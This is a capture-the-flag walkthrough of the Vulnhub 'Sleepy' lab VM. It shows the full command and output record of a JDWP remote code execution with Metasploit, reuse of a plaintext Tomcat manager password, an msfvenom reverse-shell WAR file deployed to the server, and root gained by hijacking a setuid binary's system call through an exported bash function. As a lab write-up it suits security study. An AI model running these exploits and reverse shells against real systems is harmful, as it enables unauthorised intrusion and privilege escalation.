[Vulnhub] Sleepy

/dev/random: Sleepy is the latest one in the series /dev/random, which is created by Sagi-.

More information and OVA file download please check here.

Attacker & Target

Attacker: Kali2 Linux (10.1.1.130/24)

Target: /dev/random: Sleepy (10.1.1.142/24)

Vulnerability & Exploit

  • Analysed and found vulnerable application / service (JDWP running on port 9001) and the vulnerability is Java Debug Wire Protocol Remote Code Execution
  • Exploit JDWP vulnerability and get shell with limited ‘sleepy’ privilege
  • Searching and find Tomcat’s admin login credential which stored in the default file: /etc/tomcat/tomcat-users.xml
  • Set up Kali and log in to Tomcat manager page with admin priviledge, then generate, upload and deploy the evil WAR file to target server
  • Set up MSF and then get a reverse shell back by accessing the evil page I deployed previously, now we get a new shell with the priviledge of ‘tomcat’
  • Enumerating and find vulnerable binary ‘/usr/bin/nightmare’ which has sticky bit set and belong to ROOT group.
  • Analysed and exploit ‘/usr/bin/nightmare’ to get ROOT

Method

  • Scanned the network to discover the target server [arp-scan]
  • Port scanned the target to discover running services and open ports [masscan && nmap]
  • Search and found JDWP remote code vulnerability which can be exploited to get shell
  • Enumerate and found tomcat’s login configuration file in the default location (/etc/tomcat/tomcat-users.xml)
  • Set up Kali2 and log in to Tomcat’s manager page with the credential found previously
  • Generate evil WAR file by using msfvenom, then upload and deploy on Tomcat server
  • Set up MSF console and trigging the reverse shell by accessing the evil page deployed before [Metasploit]
  • With the priveilege of tomcat, enumerate and find vulnerable binary /usr/bin/nightmare which has sticky bit set and in ROOT group
  • Download /usr/bin/nightmare to local, analyse with radare2 and exploit it to get ROOT [radare2]

Tools

All the tools used here can be found in Kali Linux

Walkthrough

Using arp-scan as routine to detect the target’s IP address (10.1.1.142 in this case).

1
2
3
4
5
6
7
8
9
10
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.1.1.1  00:50:56:c0:00:08   VMware, Inc.
10.1.1.2  00:50:56:fd:d1:6b   VMware, Inc.
10.1.1.142    00:0c:29:0b:18:9f   VMware, Inc.
10.1.1.254    00:50:56:ed:31:70   VMware, Inc.

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.529 seconds (101.23 hosts/sec). 4 responded

10.1.1.142 is our Target!

Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).

1
2
3
4
5
6
7
8
9
root@kali:~# masscan -p1-65535 10.1.1.142/32 --rate=10000

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2015-11-06 09:49:16 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 8009/tcp on 10.1.1.142
Discovered open port 21/tcp on 10.1.1.142
Discovered open port 9001/tcp on 10.1.1.142

Now there are 3 ports (21, 8009, 9001) detected by masscan, then I run nmap to do a deeper service scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 6.49BETA4 scan initiated Fri Nov  6 04:51:36 2015 as: nmap -sV -v -A -T4 -O -p 8009,21,9001 -oN 10.1.1.142_nmap.txt 10.1.1.142
Nmap scan report for 10.1.1.142
Host is up (0.00063s latency).
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 00:0C:29:0B:18:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 0.002 days (since Fri Nov  6 04:49:25 2015)
Network Distance: 1 hop
... turncate ...

I checked the FTP first and from the nmap scanning result, Anonymous login allowed. However, there is only one PNG file (sleepy.png) in pub folder and there is no permission to upload file through anonymous account. Nothing can be found in the PNG file, so I move on.

Next is port 8009, ajp13 Apache JServ. This blog described a method to exploit Tomcat with AJP protocol. The good news is that I can touch the login page of Tomcat manager. However, after several failed trials, I still could not manage the login credential. Have to leave it for now and move on :(

The third open port is 9001 which Java Debug Wire Protocol is running on it. By searching online for any exist exploit, I found this JDWP Remote Code Execution.

Then I startup Metasploit console and get a reverse shell with this JDWP exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
msf > search jdwp
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                   Disclosure Date  Rank  Description
   ----                                   ---------------  ----  -----------
   exploit/multi/misc/java_jdwp_debugger  2010-03-12       good  Java Debug Wire Protocol Remote Code Execution


msf > use exploit/multi/misc/java_jdwp_debugger
msf exploit(java_jdwp_debugger) > set RHOST 10.1.1.142
RHOST => 10.1.1.142
msf exploit(java_jdwp_debugger) > set RPORT 9001
RPORT => 9001
msf exploit(java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(java_jdwp_debugger) > set LHOST 10.1.1.130
LHOST => 10.1.1.130
msf exploit(java_jdwp_debugger) > check
[*] 10.1.1.142:9001 - The target appears to be vulnerable.
msf exploit(java_jdwp_debugger) > exploit

[*] Started reverse handler on 10.1.1.130:4444
[*] 10.1.1.142:9001 - Retrieving the sizes of variable sized data types in the target VM...
[*] 10.1.1.142:9001 - Getting the version of the target VM...
[*] 10.1.1.142:9001 - Getting all currently loaded classes by the target VM...
[*] 10.1.1.142:9001 - Getting all running threads in the target VM...
[*] 10.1.1.142:9001 - Setting 'step into' event...
[*] 10.1.1.142:9001 - Resuming VM and waiting for an event...
[*] 10.1.1.142:9001 - Received 1 responses that are not a 'step into' event...
[*] 10.1.1.142:9001 - Deleting step event...
[*] 10.1.1.142:9001 - Disabling security manager if set...
[+] 10.1.1.142:9001 - Security manager was not set
[*] 10.1.1.142:9001 - Dropping and executing payload...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495598 bytes) to 10.1.1.142
[*] Meterpreter session 1 opened (10.1.1.130:4444 -> 10.1.1.142:35957) at 2015-11-06 08:08:24 -0500
[+] Deleted /tmp/zNfkVK

meterpreter > sysinfo
Computer     : sleepy
OS           : Linux sleepy 3.10.0-123.13.2.el7.x86_64 #1 SMP Thu Dec 18 14:09:13 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > shell
Process 2878 created.
Channel 1 created.
sh: no job control in this shell
sh-4.2$ id
uid=1002(sleepy) gid=1002(sleepy) groups=1002(sleepy) context=system_u:system_r:initrc_t:s0
sh-4.2$ pwd
/

Cool~ Now I get in as user sleepy!

Next thing is to find login credential of Tomcat manager page.

After poking around in the file system, I found the default Tomcat users file /etc/tomcat/tomcat-users.xml:

File /etc/tomcat/tomcat-users.xml could not be found

At the bottom of the xml file, I found the tomcat login credential in plaintext: sl33py / Gu3SSmYStR0NgPa$sw0rD!!

Now, we are on the right track and the next thing is getting clear:

Run msfvenom as follow to generate evil WAR file with reverse shell payload.

1
2
3
4
5
6
7
8
9
10
## create evil WAR file with reverse shell payload
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.130 LPORT=8888 -f war > sleepy.war

## check the WAR file and note the evil page: atodruyscupc.jsp 
root@kali:~# jar -xvf sleepy.war
 inflated: META-INF/MANIFEST.MF
  created: WEB-INF/
 inflated: WEB-INF/web.xml
 inflated: atodruyscupc.jsp
 inflated: VFTwyDWxQug.txt

After upload and deployed the WAR file on target Tomcat server, I set up Metasploit console and access the target page http://10.1.1.130/sleepy/atodruyscupc.jsp to get a shell back as user tomcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         10.1.1.130       yes       The listen address
   LPORT         8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set ExitOnSession false 
 ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.1.1.130:8888
[*] Starting the payload handler...
msf exploit(handler) > [*] Command shell session 1 opened (10.1.1.130:8888 -> 10.1.1.142:38614) at 2015-11-06 22:07:09 -0500

python -c "import pty; pty.spawn('/bin/bash');"
bash-4.2$ id
id
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2$ pwd
pwd
/usr/share/tomcat
bash-4.2$ 

Now we have escaped priviledge to tomcat successfully!

After enmueration (g0tmi1k has made a really helpful guide for enumerating and you can find it here), I found one suspected binary file /usr/bin/nightmare which has sticky bit set and belong to ROOT group.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bash-4.2$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/nightmare
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib64/dbus-1/dbus-daemon-launch-helper
bash-4.2$ ls -alh /usr/bin/nightmare
ls -alh /usr/bin/nightmare
-rwsr-s---. 1 root tomcat 8.5K Jan 18  2015 /usr/bin/nightmare

Download the binary “/usr/bin/nightmare” to my local Kali Linux and using disassembler Radare 2 to analyze the binary.

Disassemble all functions and print the code of function ‘main’:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/myNotes/Vulnhub_notes/the sleepy# r2 nightmare 
[0x004006b0]> aa
[0x004006b0]> pdf @ main
/ (fcn) sym.main 250
|           0x0040083e    55           push rbp
|           0x0040083f    4889e5       mov rbp, rsp
|           0x00400842    4881eca0000. sub rsp, 0xa0
|           0x00400849    488d8560fff. lea rax, [rbp-0xa0]
|           0x00400850    ba98000000   mov edx, 0x98
|           0x00400855    be00000000   mov esi, 0x0
|           0x0040085a    4889c7       mov rdi, rax
|           ; CODE (CALL) XREF from 0x00400660 (fcn.00400656)
|           0x0040085d    e8fefdffff   call sym.imp.memset
|              sym.imp.memset(unk)
|           0x00400862    48c78560fff. mov qword [rbp-0xa0], sym.sigHandler
|           0x0040086d    c745e800000. mov dword [rbp-0x18], 0x0
|           0x00400874    488d8560fff. lea rax, [rbp-0xa0]
|           0x0040087b    ba00000000   mov edx, 0x0
|           0x00400880    4889c6       mov rsi, rax
|           0x00400883    bf02000000   mov edi, 0x2
|           ; CODE (CALL) XREF from 0x00400610 (fcn.00400606)
|           0x00400888    e883fdffff   call sym.imp.sigaction
|              sym.imp.sigaction()
... turncate ...

From the result above, I notice that there is a function sym.sigHandler be used to deal with signal SIGINT(0x2) and SIGTERM(0xf), so I decided to print it out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[0x004006b0]> pdf @ sym.sigHandler
/ (fcn) sym.sigHandler 281
|           0x0040081f    55           push rbp
|           0x00400820    4889e5       mov rbp, rsp
|           0x00400823    4883ec10     sub rsp, 0x10
|           0x00400827    897dfc       mov [rbp-0x4], edi
|           0x0040082a    b800000000   mov eax, 0x0
|           0x0040082f    e899ffffff   call sym.train
|              sym.train(unk)
|           0x00400834    bf00000000   mov edi, 0x0
|           0x00400839    e862feffff   call sym.imp.exit
|              sym.imp.exit()
/ (fcn) sym.main 250
|           0x0040083e    55           push rbp
|           0x0040083f    4889e5       mov rbp, rsp
|           0x00400842    4881eca0000. sub rsp, 0xa0
|           0x00400849    488d8560fff. lea rax, [rbp-0xa0]
|           0x00400850    ba98000000   mov edx, 0x98
|           0x00400855    be00000000   mov esi, 0x0
|           0x0040085a    4889c7       mov rdi, rax
|           ; CODE (CALL) XREF from 0x00400660 (fcn.00400656)
|           0x0040085d    e8fefdffff   call sym.imp.memset
|              sym.imp.memset(unk)
|           0x00400862    48c78560fff. mov qword [rbp-0xa0], sym.sigHandler
|           0x0040086d    c745e800000. mov dword [rbp-0x18], 0x0
|           0x00400874    488d8560fff. lea rax, [rbp-0xa0]
|           0x0040087b    ba00000000   mov edx, 0x0
|           0x00400880    4889c6       mov rsi, rax
|           0x00400883    bf02000000   mov edi, 0x2
|           ; CODE (CALL) XREF from 0x00400610 (fcn.00400606)
|           0x00400888    e883fdffff   call sym.imp.sigaction
|              sym.imp.sigaction()
|           0x0040088d    488d8560fff. lea rax, [rbp-0xa0]
|           0x00400894    ba00000000   mov edx, 0x0
|           0x00400899    4889c6       mov rsi, rax
|           0x0040089c    bf0f000000   mov edi, 0xf
|           0x004008a1    e86afdffff   call sym.imp.sigaction
|              sym.imp.sigaction()
... turncate ...

Here is another function “sym.train” be called:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[0x004006b0]> pdf @ sym.train
|           ; CODE (CALL) XREF from 0x0040082f (unk)
|           ; CODE (CALL) XREF from 0x004007cd (unk)
|           ; CODE (CALL) XREF from 0x0040080f (unk)
/ (fcn) sym.train 66
|           0x004007cd    55           push rbp
|           0x004007ce    4889e5       mov rbp, rsp
|           0x004007d1    ba00000000   mov edx, 0x0
|           0x004007d6    be00000000   mov esi, 0x0
|           0x004007db    bf00000000   mov edi, 0x0
|           0x004007e0    b800000000   mov eax, 0x0
|           0x004007e5    e836feffff   call sym.imp.setresuid
|              sym.imp.setresuid(unk)
|           0x004007ea    ba00000000   mov edx, 0x0
|           0x004007ef    be00000000   mov esi, 0x0
|           0x004007f4    bf00000000   mov edi, 0x0
|           0x004007f9    b800000000   mov eax, 0x0
|           0x004007fe    e82dfeffff   call sym.imp.setresgid
|              sym.imp.setresgid()
|           0x00400803    bfec094000   mov edi, str.usrbinslal
|           ; CODE (CALL) XREF from 0x00400640 (fcn.00400636)
|           0x00400808    e833feffff   call sym.imp.system
|              sym.imp.system()
|           0x0040080d    5d           pop rbp
\           0x0040080e    c3           ret

In this function sym.train, the attacker noticed that uid and gid have been set to ‘0’ (which is ROOT) and then make a system call with parameter str.usrbinslal.

By checking the string of “str.usrbinslal” as follow, I know the system function has been called like this system("/usr/bin/sl -al")

1
2
[0x004006b0]> ps @ str.usrbinslal
/usr/bin/sl -al

Based on g0blin’s post, I defined an evil function by using sl’s full path as the name /usr/bin/sl and then run the vulnerable program nightmare.

1
2
3
4
5
6
7
8
bash-4.2$ function /usr/bin/sl () { /bin/bash; }
function /usr/bin/sl () { /bin/bash; }
bash-4.2$ export -f /usr/bin/sl
export -f /usr/bin/sl
bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?

In order to send SIGTERM signal to nightware, I opened another MSF session by refreshing the trojan web page.

In the new session, I sent SIGTERM signal to process nightmare by using command kill -15 <pid>

1
2
3
4
5
6
bash-4.2$ ps aux | grep night
ps aux | grep night
root      2312  0.0  0.0   4164   356 pts/0    S+   00:29   0:00 /usr/bin/nightmare
tomcat    2329  0.0  0.1   9032   672 pts/1    R+   00:33   0:00 grep night
bash-4.2$ kill -15 2312
kill -15 2312

Now change back to previous session and we got ROOT!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bash-4.2$ function /usr/bin/sl () { /bin/bash; }
bash-4.2$ export -f /usr/bin/sl
bash-4.2$ /usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?
[+] Again [y/n]? bash-4.2#

bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2# ls -al /root
ls -al /root
total 44
dr-xr-x---.  3 root root  4096 Jun 19 00:52 .
drwxr-xr-x. 18 root root  4096 Nov 13 21:59 ..
lrwxrwxrwx.  1 root root     9 Jan 18  2015 .bash_history -> /dev/null
-rw-r--r--.  1 root root    18 Dec 29  2013 .bash_logout
-rw-r--r--.  1 root root   176 Dec 29  2013 .bash_profile
-rw-r--r--.  1 root root   100 Dec 29  2013 .cshrc
-rw-------.  1 root root   133 Jan 18  2015 .lesshst
drwx------.  2 root root     6 Jun 19 08:39 .ssh
-rw-r--r--.  1 root root   129 Dec 29  2013 .tcshrc
-r--------.  1 root root 14892 Jul 14 14:25 flag.txt
bash-4.2# cat /root/flag.txt
cat /root/flag.txt
Well done!

Here's your flag: 3eb030c6ab099b0a355712fe38d59ffb

Ascii Art: Mark Van Hooren
(http://www.retrojunkie.com/asciiart/cartchar/snowwhit.htm)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
... turncate ...

Thanks Sagi- and cheers g0blin!

2015-11-13 16:44:46 +1100